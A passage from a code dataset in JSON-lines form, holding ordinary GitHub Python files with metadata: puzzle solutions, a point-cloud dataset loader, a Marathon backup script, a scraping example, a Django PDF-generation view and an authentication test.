jump+1\n elif visited[Y1][X1][0] == 0:\n ST.append((X1, Y1, cnt+1, jump+1))\n visited[Y1][X1] = [1, jump+1]\n print(-1)\n\n\nK = int(input())\nW,H = map(int,input().split())\nroad=[]\nfor _ in range(H):\n road.append(list(map(int,input().split())))\nhorse()\n", "repo_name": "seho27060/jul-algo-study", "sub_path": "0720/1600_haeng.py", "file_name": "1600_haeng.py", "file_ext": "py", "file_size_in_byte": 1549, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.stdin", "line_number": 2, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 12, "usage_type": "call"}]} {"seq_id": "21323395104", "text": "from typing import List\nclass Solution:\n def findDifference(self, nums1: List[int], nums2: List[int]) -> List[List[int]]:\n set_1 = set(nums1)\n set_2 = set(nums2)\n\n return [list(set_1 - set_2), list(set_2-set_1)]\n\n\nif __name__ == '__main__':\n nums1 = [1,2,3]\n nums2 = [2,4,6]\n output = Solution().findDifference(nums1, nums2)\n print(output, \"\\n\")\n\n nums1 = [1, 2, 3, 3]\n nums2 = [1, 1, 2, 2]\n output = Solution().findDifference(nums1, nums2)\n print(output, \"\\n\")", "repo_name": "m318021/LeetCode-Solution", "sub_path": "LeetCode/2215-Find-the-Difference-of-Two-Arrays/2215.py", "file_name": "2215.py", "file_ext": "py", "file_size_in_byte": 509, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 3, "usage_type": "name"}]} {"seq_id": "34595868558", "text": "import os\nimport pickle\nimport copy\nimport numpy as np\n\nfrom .dataset import DatasetTemplate\nfrom .augmentor.data_augmentor import DataAugmentor\nfrom .processor.data_processor import DataProcessor\n\n\nclass IndoorDataset(DatasetTemplate):\n def __init__(self, dataset_cfg=None, class_names=None, training=True, root_path=None, logger=None):\n super(IndoorDataset, self).__init__(dataset_cfg, class_names, training, root_path, logger=logger)\n\n self.repeat = dataset_cfg.DATA_PROCESSOR.repeat\n self.voxel_scale = dataset_cfg.DATA_PROCESSOR.voxel_scale\n self.max_npoint = dataset_cfg.DATA_PROCESSOR.max_npoint\n self.full_scale = dataset_cfg.DATA_PROCESSOR.full_scale\n self.point_range = dataset_cfg.DATA_PROCESSOR.point_range\n self.voxel_mode = dataset_cfg.DATA_PROCESSOR.voxel_mode\n self.rgb_norm = dataset_cfg.DATA_PROCESSOR.rgb_norm\n self.cache = dataset_cfg.DATA_PROCESSOR.cache\n self.downsampling_scale = dataset_cfg.DATA_PROCESSOR.get('downsampling_scale', 1)\n\n self.augmentor = DataAugmentor(\n self.dataset_cfg,\n **{\n 'ignore_label': self.ignore_label,\n 'voxel_scale': self.voxel_scale,\n 'full_scale': self.full_scale,\n 'max_npoint': self.max_npoint,\n }\n )\n\n self.voxel_size = [1.0 / self.voxel_scale, 1.0 / self.voxel_scale, 1.0 / self.voxel_scale]\n\n num_point_features = 0\n if dataset_cfg.DATA_PROCESSOR.xyz_as_feat:\n num_point_features += 3\n\n if dataset_cfg.DATA_PROCESSOR.rgb_as_feat:\n num_point_features += 3\n\n self.data_processor = DataProcessor(\n self.dataset_cfg.DATA_PROCESSOR, voxel_size=self.voxel_size,\n point_cloud_range=self.point_cloud_range, training=self.training,\n num_point_features=num_point_features\n )\n\n @staticmethod\n def visualize_o3d(xyz, label=None, color=None, density=None, dataset='scannet', origin=False):\n import open3d\n import random\n from operator import itemgetter\n if dataset == 'scannet':\n from tools.visual_utils.open3d_vis_utils import SCANNET_CLASS_COLOR as CLASS_COLOR, \\\n SCANNET_DA_SEMANTIC_NAMES as SEMANTIC_NAMES\n elif dataset == 's3dis':\n from tools.visual_utils.open3d_vis_utils import S3DIS_CLASS_COLOR as CLASS_COLOR, \\\n S3DIS_DA_SEMANTIC_NAMES as SEMANTIC_NAMES\n else:\n raise NotImplementedError\n pcd = open3d.geometry.PointCloud()\n # pcd.points = o3d.utility.Vector3dVector(xyz[(label >= 0) & (label != 255)])\n if label is not None:\n try:\n label_color = np.array(\n itemgetter(*SEMANTIC_NAMES[label[(label >= 0) & (label != 255)].astype(np.int64)])\n (CLASS_COLOR))\n pcd.points = open3d.utility.Vector3dVector(xyz[(label >= 0) & (label != 255)])\n pcd.colors = open3d.utility.Vector3dVector(label_color / 255.0)\n except IndexError: # assign random colors\n num_labels = set(label)\n label_color = np.zeros_like(xyz)\n random_color = lambda: random.randint(0, 255)\n for i_com in num_labels:\n label_color[label == i_com, :] = [random_color(), random_color(), random_color()]\n pcd.points = open3d.utility.Vector3dVector(xyz)\n pcd.colors = open3d.utility.Vector3dVector(label_color / 255.0)\n if color is not None:\n pcd.points = open3d.utility.Vector3dVector(xyz)\n pcd.colors = open3d.utility.Vector3dVector(color / 255.0)\n if density is not None:\n jet_map = np.loadtxt('jet_int.txt', dtype=np.int)\n color = jet_map[np.round(density * 255).astype(np.int)]\n pcd.points = open3d.utility.Vector3dVector(xyz)\n pcd.colors = open3d.utility.Vector3dVector(color / 255.0)\n if label is None and color is None and density is None:\n pcd.points = open3d.utility.Vector3dVector(xyz)\n if origin:\n original_point = open3d.geometry.TriangleMesh.create_coordinate_frame(size=1, origin=[0, 0, 0])\n open3d.visualization.draw_geometries([original_point, pcd])\n else:\n open3d.visualization.draw_geometries([pcd])\n\n @staticmethod\n def filter_by_index(e_list, idx):\n filtered_e_list = list()\n for e in e_list:\n filtered_e_list.append(e[idx])\n return filtered_e_list\n\n @staticmethod\n def subsample(xyz, label, ds_scale):\n # subsample. Notice that per-class subsampling will automatically ignore ignore_label\n if isinstance(ds_scale, list):\n subsample_idx = np.zeros(0, dtype=np.int64)\n for i, ds in enumerate(ds_scale):\n _idx = np.where(label == i)[0]\n _subsample_idx = np.random.choice(_idx, len(_idx), replace=False)[:int(len(_idx) / ds_scale[i])]\n subsample_idx = np.concatenate((subsample_idx, _subsample_idx))\n else:\n subsample_idx = np.random.choice(xyz.shape[0], xyz.shape[0], replace=False)[:int(xyz.shape[0] / ds_scale)]\n subsample_idx.sort()\n return subsample_idx\n\n # instance seg\n def get_valid_inst_label(self, inst_label, valid_mask):\n inst_label[~valid_mask] = self.ignore_label\n label_set = np.unique(inst_label[inst_label >= 0])\n remapper = np.full((1000,), self.ignore_label)\n remapper[label_set.astype(np.int64)] = np.arange(len(label_set))\n inst_label[inst_label >= 0] = remapper[inst_label[inst_label >= 0].astype(np.int64)]\n # inst_label[~valid_mask] = self.ignore_label\n # j = 0\n # while (j < inst_label.max()):\n # if (len(np.where(inst_label == j)[0]) == 0):\n # inst_label[inst_label == inst_label.max()] = j\n # j += 1\n return inst_label \n\n def get_inst_info(self, xyz, inst_label, semantic_label):\n\n inst_info = np.ones((xyz.shape[0], 9), dtype=np.float32) * self.ignore_label \n # (n, 9), float, (cx, cy, cz, minx, miny, minz, maxx, maxy, maxz)\n inst_pointnum = [] # (nInst), int\n inst_cls = []\n inst_num = int(inst_label.max()) + 1\n for i_ in range(inst_num):\n inst_idx_i = np.where(inst_label == i_)\n\n ### inst_info\n xyz_i = xyz[inst_idx_i]\n min_xyz_i = xyz_i.min(0)\n max_xyz_i = xyz_i.max(0)\n mean_xyz_i = xyz_i.mean(0)\n inst_info_i = inst_info[inst_idx_i]\n inst_info_i[:, 0:3] = mean_xyz_i\n inst_info_i[:, 3:6] = min_xyz_i\n inst_info_i[:, 6:9] = max_xyz_i\n inst_info[inst_idx_i] = inst_info_i\n\n ### inst_pointnum\n inst_pointnum.append(inst_idx_i[0].size)\n\n ### inst cls\n cls_idx = inst_idx_i[0][0]\n inst_cls.append(semantic_label[cls_idx])\n pt_offset_label = inst_info[:, 0:3] - xyz\n return {'inst_num': inst_num, 'inst_info': inst_info, 'inst_pointnum': inst_pointnum, \\\n 'inst_cls': inst_cls, 'pt_offset_label': pt_offset_label}\n\n # caption func\n def include_caption_infos(self):\n \"\"\"\n scene_image_corr_dict = {\n scene_name : {\n image_name: np.array [pts_index, ...] for the given image in the scene\n }\n }\n \"\"\"\n if self.caption_cfg.get('VIEW', None) and self.caption_cfg.VIEW.ENABLED:\n scene_image_corr_infos = pickle.load(\n open(self.root_path / self.caption_cfg.VIEW.IMAGE_CORR_PATH, 'rb')\n )\n else:\n scene_image_corr_infos = None\n\n if self.caption_cfg.get('ENTITY', None) and self.caption_cfg.ENTITY.ENABLED:\n scene_image_corr_entity_infos = pickle.load(\n open(self.root_path / self.caption_cfg.ENTITY.IMAGE_CORR_PATH, 'rb')\n )\n else:\n scene_image_corr_entity_infos = None\n\n return scene_image_corr_infos, scene_image_corr_entity_infos\n\n def get_caption_image_corr_and_name_from_memory(self, scene_name, index):\n image_name_dict = {}\n image_corr_dict = {}\n\n if self.caption_cfg.get('SCENE', None) and self.caption_cfg.SCENE.ENABLED:\n image_name_dict['scene'] = None\n image_corr_dict['scene'] = None\n\n if hasattr(self, 'scene_image_corr_infos') and self.scene_image_corr_infos is not None:\n if isinstance(self.scene_image_corr_infos, dict):\n # assert scene_name in self.scene_image_corr_infos\n info = self.scene_image_corr_infos.get(scene_name, {})\n else:\n cur_caption_idx = copy.deepcopy(self.scene_image_corr_infos[index])\n assert scene_name == cur_caption_idx['scene_name']\n info = cur_caption_idx['infos']\n if len(info) > 0:\n image_name_view, image_corr_view = zip(*info.items())\n else:\n image_name_view, image_corr_view = [], []\n image_name_dict['view'] = image_name_view\n image_corr_dict['view'] = image_corr_view\n\n if hasattr(self, 'scene_image_corr_entity_infos') and self.scene_image_corr_entity_infos is not None:\n if isinstance(self.scene_image_corr_entity_infos, dict):\n # assert scene_name in self.scene_image_corr_entity_infos\n info = self.scene_image_corr_entity_infos.get(scene_name, {})\n else:\n cur_caption_idx = copy.deepcopy(self.scene_image_corr_entity_infos[index])\n assert scene_name == cur_caption_idx['scene_name']\n info = cur_caption_idx['infos']\n if len(info) > 0:\n image_name_entity, image_corr_entity = zip(*info.items())\n else:\n image_name_entity, image_corr_entity = [], []\n image_name_dict['entity'] = image_name_entity\n image_corr_dict['entity'] = image_corr_entity\n\n return image_corr_dict, image_name_dict\n\n def get_caption_image_corr_and_name_from_file(self, scene_name):\n image_name_dict = {}\n image_corr_dict = {}\n\n if self.caption_cfg.get('SCENE', None) and self.caption_cfg.SCENE.ENABLED:\n image_name_dict['scene'] = None\n image_corr_dict['scene'] = None\n\n if self.caption_cfg.get('VIEW', None) and self.caption_cfg.VIEW.ENABLED:\n path = self.root_path / self.caption_cfg.VIEW.IMAGE_CORR_PATH / (scene_name + '.pickle')\n if os.path.exists(path):\n info = pickle.load(open(path, 'rb'))\n else:\n info = {}\n if len(info) > 0:\n image_name_view, image_corr_view = zip(*info.items())\n else:\n image_name_view = image_corr_view = []\n image_name_dict['view'] = image_name_view\n image_corr_dict['view'] = image_corr_view\n\n if self.caption_cfg.get('ENTITY', None) and self.caption_cfg.ENTITY.ENABLED:\n path = self.root_path / self.caption_cfg.ENTITY.IMAGE_CORR_PATH / (scene_name + '.pickle')\n if os.path.exists(path):\n info = pickle.load(open(path, 'rb'))\n else:\n info = {}\n if len(info) > 0:\n image_name_entity, image_corr_entity = zip(*info.items())\n else:\n image_name_entity = image_corr_entity = []\n image_name_dict['entity'] = image_name_entity\n image_corr_dict['entity'] = image_corr_entity\n\n return image_corr_dict, image_name_dict\n", "repo_name": "CVMI-Lab/PLA", "sub_path": "pcseg/datasets/indoor_dataset.py", "file_name": "indoor_dataset.py", "file_ext": "py", "file_size_in_byte": 11749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 184, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dataset.DatasetTemplate", "line_number": 11, "usage_type": "name"}, {"api_name": "augmentor.data_augmentor.DataAugmentor", "line_number": 25, "usage_type": "call"}, {"api_name": "processor.data_processor.DataProcessor", "line_number": 44, "usage_type": "call"}, {"api_name": "open3d.geometry.PointCloud", "line_number": 63, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 68, "usage_type": "call"}, {"api_name": "tools.visual_utils.open3d_vis_utils.S3DIS_DA_SEMANTIC_NAMES", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.int64", "line_number": 68, "usage_type": "attribute"}, {"api_name": "tools.visual_utils.open3d_vis_utils.S3DIS_CLASS_COLOR", "line_number": 69, "usage_type": "name"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 70, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 70, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 71, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 74, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 75, "usage_type": "call"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 78, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 78, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 79, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 79, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 81, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 81, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 82, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 82, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.round", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 85, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 86, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 86, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 87, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 87, "usage_type": "attribute"}, {"api_name": "open3d.utility.Vector3dVector", "line_number": 89, "usage_type": "call"}, {"api_name": "open3d.utility", "line_number": 89, "usage_type": "attribute"}, {"api_name": "open3d.geometry.TriangleMesh.create_coordinate_frame", "line_number": 91, "usage_type": "call"}, {"api_name": "open3d.geometry", "line_number": 91, "usage_type": "attribute"}, {"api_name": "open3d.visualization.draw_geometries", "line_number": 92, "usage_type": "call"}, {"api_name": "open3d.visualization", "line_number": 92, "usage_type": "attribute"}, {"api_name": "open3d.visualization.draw_geometries", "line_number": 94, "usage_type": "call"}, {"api_name": "open3d.visualization", "line_number": 94, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 134, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 140, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 173, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 180, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 201, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 239, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 251, "usage_type": "call"}, {"api_name": "os.path", "line_number": 251, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 252, "usage_type": "call"}]} {"seq_id": "16584804180", "text": "from dataclasses import dataclass\n\n\n@dataclass\nclass Team:\n teamId: str\n name: str\n location: str\n region: str\n isDisbanded: bool\n\n def __init__(self, team):\n self.teamId = swap_problematic_team_ids(team)\n self.name = team['Name']\n self.location = team['Location']\n self.region = team['Region']\n self.isDisbanded = team['IsDisbanded'] == '1'\n\n def ddb_format(self):\n return self.__dict__\n\n def key(self):\n return {\n 'teamId': self.teamId\n }\n\n\ndef swap_problematic_team_ids(team):\n team_id = team['Short']\n\n if team_id == 'MAD' and team['Name'] == 'Mad Revolution Gaming':\n team_id = 'MAD_LAT'\n\n if team_id == 'INF' and team['Name'] == 'Team Infernal Drake':\n team_id = 'TID'\n\n if team_id == 'SN' and team['Name'] == 'Supernova':\n team_id = 'SNV'\n\n if team_id == 'IW' and team['Name'] == 'İstanbul Wildcats':\n team['Name'] = 'Istanbul Wildcats'\n\n if team_id == 'RA' and team['Name'] == 'Redemption Arc':\n team_id = 'RAC'\n\n if team_id == 'V5' and team['Name'] == 'Vortex Five':\n team_id = 'VF'\n\n return team_id\n", "repo_name": "mckernant1/leaguepedia-loader", "sub_path": "models/team.py", "file_name": "team.py", "file_ext": "py", "file_size_in_byte": 1167, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dataclasses.dataclass", "line_number": 4, "usage_type": "name"}]} {"seq_id": "70734937183", "text": "#!/usr/bin/python\n#\n\nimport os\nimport sys\nimport datetime\nimport json\nimport requests\nimport argparse\n\nhome_path = os.environ.get(\"HOME_PATH\",\"/tmp\")\nkeys_to_clean = {'version', 'versionInfo', 'fetch'}\nbackup_file_path = '%s' % (\n datetime.datetime.now().strftime(\"%Y%m%d-%H%M\")\n)\nbackup_file_names = {\n 'raw' : 'groups_raw',\n 'processed' : 'groups'\n}\nmarathon_api_call = 'v2/groups'\nargs=''\n\n\ndef remove_keys(d):\n if not isinstance(d, (dict, list)):\n return d\n if isinstance(d, list):\n return [remove_keys(v) for v in d]\n return {k: remove_keys(v) for k, v in d.items()\n if k not in keys_to_clean}\n\ndef split_by(d, key_word):\n if not isinstance(d, (dict, list)):\n return d\n if isinstance(d, list):\n return [split_by(v, key_word) for v in d]\n for k, v in d.items():\n if key_word in k:\n save_keys(d,key_word)\n return {k: split_by(v, key_word) for k, v in d.items()}\n\ndef save_keys(json_data, key_word):\n # For each key_word selected generate a file.\n for item in json_data[key_word]:\n save_file('%s/%s' % (key_word, item['id']), item )\n\ndef save_file(backup_file_name, json_data):\n # Save a json structure into file.\n\n full_backup_file_path = os.path.dirname(os.path.abspath('%s/%s/%s/%s' % (home_path, args.environment, backup_file_path, backup_file_name)))\n backup_file_name = os.path.basename(backup_file_name)\n\n if not os.path.exists(full_backup_file_path):\n os.makedirs(full_backup_file_path)\n try:\n with open( os.path.abspath(\"%s/%s.json\" % (full_backup_file_path, backup_file_name)), \"wb\") as file:\n file.write(json.dumps(json_data, indent=2))\n except:\n print ('ERROR: Imposible save %s file.' % (backup_file_name))\n sys.exit(2)\n else:\n print ('INFO: File %s saved.' % (backup_file_name))\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Marathon Groups Backup.')\n parser.add_argument('--environment', required=True,\n help='Environment name. (Prod, QA, Lab, ...)')\n parser.add_argument('--url', required=True,\n help='Marathon url. (http://marathon.xxx.xxx:8080)')\n\n args = parser.parse_args()\n\n url = '%s/%s' % (args.url, marathon_api_call)\n r = requests.get(url)\n if r.status_code != requests.codes.ok:\n print ('ERROR: Status: %s on %s' % (r.status_code, url))\n sys.exit(2)\n\n json_raw = r.json()\n\n processed = remove_keys(json_raw)\n save_file(backup_file_names['raw'], json_raw)\n save_file(backup_file_names['processed'], processed)\n split_by(processed,'apps')\n split_by(processed,'groups')\n", "repo_name": "maauso/marathon-raw-backup", "sub_path": "marathon-raw-backup.py", "file_name": "marathon-raw-backup.py", "file_ext": "py", "file_size_in_byte": 2687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.get", "line_number": 11, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 57, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 60, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 65, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 74, "usage_type": "call"}, {"api_name": "requests.codes", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 77, "usage_type": "call"}]} {"seq_id": "40860641928", "text": "from bs4 import BeautifulSoup\n\nwith open('web_scrap.html', 'r') as html_file:\n content = html_file.read()\n soup = BeautifulSoup(content, 'lxml')\n tags = soup.find_all('div', class_ = 'card')\n for tag in tags:\n course_name = tag.h5.text\n course_price = tag.a.text.split(\" \")[-1]\n print(course_name+' cost '+course_price)\n", "repo_name": "gmo56524wp/web_scrap", "sub_path": "example.py", "file_name": "example.py", "file_ext": "py", "file_size_in_byte": 353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 5, "usage_type": "call"}]} {"seq_id": "23145124920", "text": "import io\nimport os\n\nfrom django.conf import settings\nfrom django.contrib.staticfiles import finders\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.template.loader import get_template\nfrom easy_pdf.views import PDFTemplateView\nimport pdfkit\nfrom django.http import FileResponse\nfrom reportlab.pdfgen import canvas\nimport time\nfrom reportlab.lib.enums import TA_JUSTIFY\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Image\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.units import inch\n\n# Create your views here.\nfrom xhtml2pdf import pisa\n\n\ndef index(request):\n return render(request, 'core/home.html')\n\n\ndef convert_to_pdf(request):\n doc = SimpleDocTemplate(\"form_letter.pdf\", pagesize=letter,\n rightMargin=72, leftMargin=72,\n topMargin=72, bottomMargin=18)\n Story = []\n logo = \"static/image/python-logo.png\"\n magName = \"Pythonista\"\n issueNum = 12\n subPrice = \"99.00\"\n limitedDate = \"03/05/2010\"\n freeGift = \"tin foil hat\"\n formatted_time = time.ctime()\n full_name = \"Mike Driscoll\"\n address_parts = [\"411 State St.\", \"Marshalltown, IA 50158\"]\n im = Image(logo, 2 * inch, 2 * inch)\n Story.append(im)\n styles = getSampleStyleSheet()\n styles.add(ParagraphStyle(name='Justify', alignment=TA_JUSTIFY))\n ptext = '%s' % formatted_time\n Story.append(Paragraph(ptext, styles[\"Normal\"]))\n Story.append(Spacer(1, 12))\n # Create return address\n ptext = '%s' % full_name\n Story.append(Paragraph(ptext, styles[\"Normal\"]))\n for part in address_parts:\n ptext = '%s' % part.strip()\n Story.append(Paragraph(ptext, styles[\"Normal\"]))\n Story.append(Spacer(1, 12))\n ptext = 'Dear %s:' % full_name.split()[0].strip()\n Story.append(Paragraph(ptext, styles[\"Normal\"]))\n Story.append(Spacer(1, 12))\n ptext = 'We would like to welcome you to our subscriber base for %s Magazine! \\\n You will receive %s issues at the excellent introductory price of $%s. Please respond by\\\n %s to start receiving your subscription and get the following free gift: %s.' % (magName,\n issueNum,\n subPrice,\n limitedDate,\n freeGift)\n Story.append(Paragraph(ptext, styles[\"Justify\"]))\n Story.append(Spacer(1, 12))\n ptext = 'Thank you very much and we look forward to serving you.'\n Story.append(Paragraph(ptext, styles[\"Justify\"]))\n Story.append(Spacer(1, 12))\n ptext = 'Sincerely,'\n Story.append(Paragraph(ptext, styles[\"Normal\"]))\n Story.append(Spacer(1, 48))\n ptext = 'Ima Sucker'\n Story.append(Paragraph(ptext, styles[\"Normal\"]))\n Story.append(Spacer(1, 12))\n doc.build(Story)\n return HttpResponse(\"Downloaded\")\n # buffer = io.BytesIO()\n # buffer.seek(0)\n # return FileResponse(buffer, as_attachment=True, filename='form-letter.pdf')\n", "repo_name": "yabesh12/django-pdf-generation", "sub_path": "core/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.shortcuts.render", "line_number": 25, "usage_type": "call"}, {"api_name": "reportlab.platypus.SimpleDocTemplate", "line_number": 29, "usage_type": "call"}, {"api_name": "reportlab.lib.pagesizes.letter", "line_number": 29, "usage_type": "name"}, {"api_name": "time.ctime", "line_number": 39, "usage_type": "call"}, {"api_name": "reportlab.platypus.Image", "line_number": 42, "usage_type": "call"}, {"api_name": "reportlab.lib.units.inch", "line_number": 42, "usage_type": "name"}, {"api_name": "reportlab.lib.styles.getSampleStyleSheet", "line_number": 44, "usage_type": "call"}, {"api_name": "reportlab.lib.styles.ParagraphStyle", "line_number": 45, "usage_type": "call"}, {"api_name": "reportlab.lib.enums.TA_JUSTIFY", "line_number": 45, "usage_type": "name"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 47, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 48, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 51, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 54, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 55, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 57, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 58, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 66, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 67, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 69, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 70, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 72, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 73, "usage_type": "call"}, {"api_name": "reportlab.platypus.Paragraph", "line_number": 75, "usage_type": "call"}, {"api_name": "reportlab.platypus.Spacer", "line_number": 76, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 78, "usage_type": "call"}]} {"seq_id": "34023154194", "text": "# -*- coding: utf-8 -*-\nfrom io import BytesIO, BufferedReader\nfrom tests.watson.auth import support\n\n\nclass TestRoute(object):\n def test_inject_user_id(self):\n support.app(\n support.sample_environ(PATH_INFO='/'),\n support.start_response)\n request = support.app.context['request']\n assert not request.user\n\n # login the user\n post_data = 'username=admin&password=test'\n environ = support.sample_environ(\n PATH_INFO='/login',\n REQUEST_METHOD='POST',\n HTTP_COOKIE='watson.session=1234',\n CONTENT_LENGTH=len(post_data))\n environ['wsgi.input'] = BufferedReader(\n BytesIO(post_data.encode('utf-8')))\n support.app(environ, support.start_response)\n request = support.app.context['request']\n assert request.user\n\n support.app(\n support.sample_environ(\n PATH_INFO='/',\n HTTP_COOKIE='watson.user=admin;watson.session=1234'),\n support.start_response)\n request = support.app.context['request']\n assert request.user\n", "repo_name": "B-Rich/watson-auth", "sub_path": "tests/watson/auth/test_listeners.py", "file_name": "test_listeners.py", "file_ext": "py", "file_size_in_byte": 1126, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "tests.watson.auth.support.app", "line_number": 8, "usage_type": "call"}, {"api_name": "tests.watson.auth.support", "line_number": 8, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.sample_environ", "line_number": 9, "usage_type": "call"}, {"api_name": "tests.watson.auth.support", "line_number": 9, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.start_response", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tests.watson.auth.support", "line_number": 10, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.app", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tests.watson.auth.support", "line_number": 11, "usage_type": "name"}, {"api_name": "tests.watson.auth.support.sample_environ", "line_number": 16, "usage_type": "call"}, {"api_name": "tests.watson.auth.support", "line_number": 16, "usage_type": "name"}, {"api_name": "io.BufferedReader", "line_number": 21, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 22, "usage_type": "call"}, {"api_name": "tests.watson.auth.support.app", "line_number": 23, "usage_type": "call"}, {"api_name": "tests.watson.auth.support", "line_number": 23, "usage_type": "name"}, 